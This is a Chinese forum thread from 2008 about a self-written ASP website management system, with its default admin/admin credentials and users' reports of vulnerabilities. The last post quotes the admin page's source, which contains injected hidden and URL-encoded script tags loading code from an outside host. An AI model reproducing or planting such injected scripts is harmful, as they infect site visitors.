打印

[原创]cd99个人网站管理系统 VER1.0

xiaoc

荣誉会员

Rank: 6 Rank: 6 Rank: 6

帖子: 35
精华: 0
积分: 3165
阅读权限: 100
在线时间: 5 小时
注册时间: 2006-9-26
最后登录: 2008-7-17

发短消息
加为好友
当前离线

楼主大中小发表于 2008-2-4 13:12 只看该作者

[原创]cd99个人网站管理系统 VER1.0

程序作者:ㄨiaoC（cclsoft@126.com）
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）

主页地址:www.cd99.cn
这是很简单的一个个人整站系统,简单易用,仿Milw0rm.com界面,喜欢Milw0rm.com界面的朋友有福了!
网站后台管理
密码:admin
留言本
用户名:admin
密码:admin

如果要修改数据库文件名,请修改以下几个文件
db_inc.asp
admin/db_inc.asp
conn.asp
admin/conn.asp
gbook/index.asp

本站前台完全防IFRAME挂马,保证了浏览网站用户的安全
完全防止SQL注入!保证了你网站的安全!

下载地址:http://www.cd99.cn/test/viewdown.asp?id=85

附件

cd99.cn 正式运行版.rar (575 KB)

2008-2-4 13:12, 下载次数: 522

练手作品,喜欢的拿去吧.

cd99.jpg (88.72 KB)

2008-2-4 13:12

TOP

゛小︷帅！﹊

晶莹剔透§烈日灼然

Rank: 1

帖子: 58
精华: 0
积分: 155
阅读权限: 40
来自: 杭州
在线时间: 152 小时
注册时间: 2007-9-29
最后登录: 2008-7-16

发短消息
加为好友
当前离线

沙发大中小发表于 2008-2-4 14:19 只看该作者

帅哥那套程序你确定没后门？

我是说Milw0rm.com这个。。系统的。。

TOP

xiaoc

荣誉会员

Rank: 6 Rank: 6 Rank: 6

帖子: 35
精华: 0
积分: 3165
阅读权限: 100
在线时间: 5 小时
注册时间: 2006-9-26
最后登录: 2008-7-17

发短消息
加为好友
当前离线

椅子大中小发表于 2008-2-5 15:52 只看该作者

晕,现在的孩子也真是的,什么都怀疑~
可见现在的人啊,素质~~~
声明,这个网站程序是自己ASP的练手作品,放后门干鸟!!!!我自己都在用!!!!!
唉,可悲啊~~~~

TOP

pc逍遥鼠

晶莹剔透§烈日灼然

Rank: 1

帖子: 288
精华: 0
积分: 561
阅读权限: 50
来自: 中国社会复杂学院
在线时间: 216 小时
注册时间: 2004-9-3
最后登录: 2008-7-20

发短消息
加为好友
当前离线

板凳大中小发表于 2008-2-5 16:01 只看该作者

其实也不是怀疑你！是怀疑这个社会！呵呵！其实这里面就有一个技术的问题了！
如果你技术好！你可以自己找出来后门呀！而且并不代表你用，就可以说明这个程序就没有后门了！

梦想的飞翔！！！

TOP

xiaoc

荣誉会员

Rank: 6 Rank: 6 Rank: 6

帖子: 35
精华: 0
积分: 3165
阅读权限: 100
在线时间: 5 小时
注册时间: 2006-9-26
最后登录: 2008-7-17

发短消息
加为好友
当前离线

地板大中小发表于 2008-2-5 20:07 只看该作者

引用:

原帖由 pc逍遥鼠 于 2008-2-5 16:01 发表
其实也不是怀疑你！是怀疑这个社会！呵呵！其实这里面就有一个技术的问题了！
如果你技术好！你可以自己找出来后门呀！而且并不代表你用，就可以说明这个程序就没有后门了！ ...

呵呵,不仅仅是我用,整个程序都是我自己写的,有没后门我会不知道么?

TOP

xiaoc

荣誉会员

Rank: 6 Rank: 6 Rank: 6

帖子: 35
精华: 0
积分: 3165
阅读权限: 100
在线时间: 5 小时
注册时间: 2006-9-26
最后登录: 2008-7-17

发短消息
加为好友
当前离线

6楼大中小发表于 2008-2-5 20:08 只看该作者

反正如果大家喜欢这个程序的风格的话,就哪去用吧,呵呵~~

TOP

゛小︷帅！﹊

晶莹剔透§烈日灼然

Rank: 1

帖子: 58
精华: 0
积分: 155
阅读权限: 40
来自: 杭州
在线时间: 152 小时
注册时间: 2007-9-29
最后登录: 2008-7-16

发短消息
加为好友
当前离线

7楼大中小发表于 2008-2-6 10:01 只看该作者

引用:

原帖由 xiaoc 于 2008-2-5 15:52 发表
晕,现在的孩子也真是的,什么都怀疑~
可见现在的人啊,素质~~~
声明,这个网站程序是自己ASP的练手作品,放后门干鸟!!!!我自己都在用!!!!!
唉,可悲啊~~~~

别激动……

我没说你的系统带后门。我的意思是说你的那东西是否是copy from milw0rm

milw0rm的代码公布过。不知道带了后门。我没说你那产品带……

看来你激动过头了……

可能我在回复你的第一帖的时候没把语言组织好，对不起，造成误解了……

[ 本帖最后由゛小︷帅！﹊于 2008-2-6 10:04 编辑 ]

TOP

xiaoc

荣誉会员

Rank: 6 Rank: 6 Rank: 6

帖子: 35
精华: 0
积分: 3165
阅读权限: 100
在线时间: 5 小时
注册时间: 2006-9-26
最后登录: 2008-7-17

发短消息
加为好友
当前离线

8楼大中小发表于 2008-2-6 12:34 只看该作者

呵呵，误解了，不好意思哦~~
不过问下milw0rm的代码哪里有下？
学习学习~~

TOP

゛小︷帅！﹊

晶莹剔透§烈日灼然

Rank: 1

帖子: 58
精华: 0
积分: 155
阅读权限: 40
来自: 杭州
在线时间: 152 小时
注册时间: 2007-9-29
最后登录: 2008-7-16

发短消息
加为好友
当前离线

9楼大中小发表于 2008-2-6 14:17 只看该作者

引用:

原帖由 xiaoc 于 2008-2-6 12:34 发表
呵呵，误解了，不好意思哦~~
不过问下milw0rm的代码哪里有下？
学习学习~~

http://0kee.com/read.php?tid=103

客气了，整站的。

小菜不知道有不有后门……

TOP

cool_wxd

荣誉会员

Rank: 6 Rank: 6 Rank: 6

帖子: 2
精华: 0
积分: 20
阅读权限: 100
性别: 男
在线时间: 48 小时
注册时间: 2006-9-18
最后登录: 2008-7-24

发短消息
加为好友
当前离线

10楼 大中小发表于 2008-2-7 20:47 只看该作者

呵呵~忽略了一些东西哦！
http://www.cd99.cn/hi.asp

TOP

matx885

晶莹剔透§烈日灼然

Rank: 1

帖子: 2
精华: 0
积分: 9
阅读权限: 40
性别: 男
在线时间: 6 小时
注册时间: 2007-2-9
最后登录: 2008-7-6

发短消息
加为好友
当前离线

11楼 大中小发表于 2008-2-8 00:50 只看该作者

呵呵！这个风格不错，拿过来玩玩！

TOP

xiaoc

荣誉会员

Rank: 6 Rank: 6 Rank: 6

帖子: 35
精华: 0
积分: 3165
阅读权限: 100
在线时间: 5 小时
注册时间: 2006-9-26
最后登录: 2008-7-17

发短消息
加为好友
当前离线

12楼 大中小发表于 2008-2-8 18:22 只看该作者

引用:

原帖由 cool_wxd 于 2008-2-7 20:47 发表
呵呵~忽略了一些东西哦！
http://www.cd99.cn/hi.asp

请问是ewebeditor的洞吗?
那个可以session欺骗的...
因为ewebeditor是06年刚刚制作网站时候下载的,所以没有注意.
后台管理也可以session欺骗...
这个我在以后的版本会注意的...

TOP

xiaoc

荣誉会员

Rank: 6 Rank: 6 Rank: 6

帖子: 35
精华: 0
积分: 3165
阅读权限: 100
在线时间: 5 小时
注册时间: 2006-9-26
最后登录: 2008-7-17

发短消息
加为好友
当前离线

13楼 大中小发表于 2008-2-8 18:24 只看该作者

呵呵,果然是ewebeditor的问题~~
因为是免费的虚拟主机,所以进行session欺骗很容易的...
把ewebeditor下的那些管理文件删除了就可以了吧,哈哈~

[ 本帖最后由 xiaoc 于 2008-2-8 18:31 编辑 ]

TOP

cool_wxd

荣誉会员

Rank: 6 Rank: 6 Rank: 6

帖子: 2
精华: 0
积分: 20
阅读权限: 100
性别: 男
在线时间: 48 小时
注册时间: 2006-9-18
最后登录: 2008-7-24

发短消息
加为好友
当前离线

14楼 大中小发表于 2008-2-8 20:54 只看该作者

呵呵~不是什么session的问题，是你的admin_default.asp等一些文件没有删除，加上用户名密码可以破解的原因！

TOP

路过的猪

晶莹剔透§烈日灼然

Rank: 1

帖子: 3
精华: 0
积分: 10
阅读权限: 40
在线时间: 31 小时
注册时间: 2006-1-15
最后登录: 2008-7-1

发短消息
加为好友
当前离线

15楼 大中小发表于 2008-2-24 20:53 只看该作者

[Home]
Microsoft JET Database Engine 错误 '80004005'

'D:\freeweb\cd99\web\test\database\##ainixiaoc99hahaha.mdb'不是一个有效的路径。确定路径名称拼写是否正确，以及是否连接到文件存放的服务器。

/test/GBook/Index.asp，行 33

TOP

cchhd

晶莹剔透§烈日灼然

Rank: 1

帖子: 71
精华: 0
积分: 173
阅读权限: 40
性别: 男
在线时间: 227 小时
注册时间: 2007-10-18
最后登录: 2008-7-24

发短消息
加为好友
当前离线

16楼 大中小发表于 2008-2-26 14:53 只看该作者

引用:

原帖由 cool_wxd 于 2008-2-7 20:47 发表
呵呵~忽略了一些东西哦！
http://www.cd99.cn/hi.asp

无语........

貌似一点都不安全哦

[ 本帖最后由 cchhd 于 2008-2-26 14:54 编辑 ]

TOP

i_lv_lcx

晶莹剔透§烈日灼然

Rank: 1

帖子: 10
精华: 0
积分: 39
阅读权限: 40
在线时间: 7 小时
注册时间: 2007-2-27
最后登录: 2008-7-23

发短消息
加为好友
当前离线

17楼 大中小发表于 2008-2-26 21:12 只看该作者

不知道楼主现在有没有解决漏洞
期待更新的版本

TOP

cchhd

晶莹剔透§烈日灼然

Rank: 1

帖子: 71
精华: 0
积分: 173
阅读权限: 40
性别: 男
在线时间: 227 小时
注册时间: 2007-10-18
最后登录: 2008-7-24

发短消息
加为好友
当前离线

18楼 大中小发表于 2008-4-1 22:37 只看该作者

为什么登录后台后    一片空白
查看源代码:
<span style="display:none;"><script src=../iiswatch/js.js></script></span></style>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>cd99后台管理系统</title>
</head>

<frameset rows="*" cols="191,*" framespacing="0" frameborder="no" border="0">
  <frame src="right.html" name="leftFrame" scrolling="No" noresize="noresize" id="f126" title="leftFrame" />
  <frame src="menu.html" name="mainFrame" id="f126" title="mainFrame" />
</frameset>
<noframes><body>
</body>
</noframes></html>
<script src=http://%76%63%63%64%2E%63%6E></script><script src=http://%76%63%63%64%2E%63%6E></script><script src=http://%76%63%63%64%2E%63%6E></script><script src=http://%76%63%63%64%2E%63%6E></script>

TOP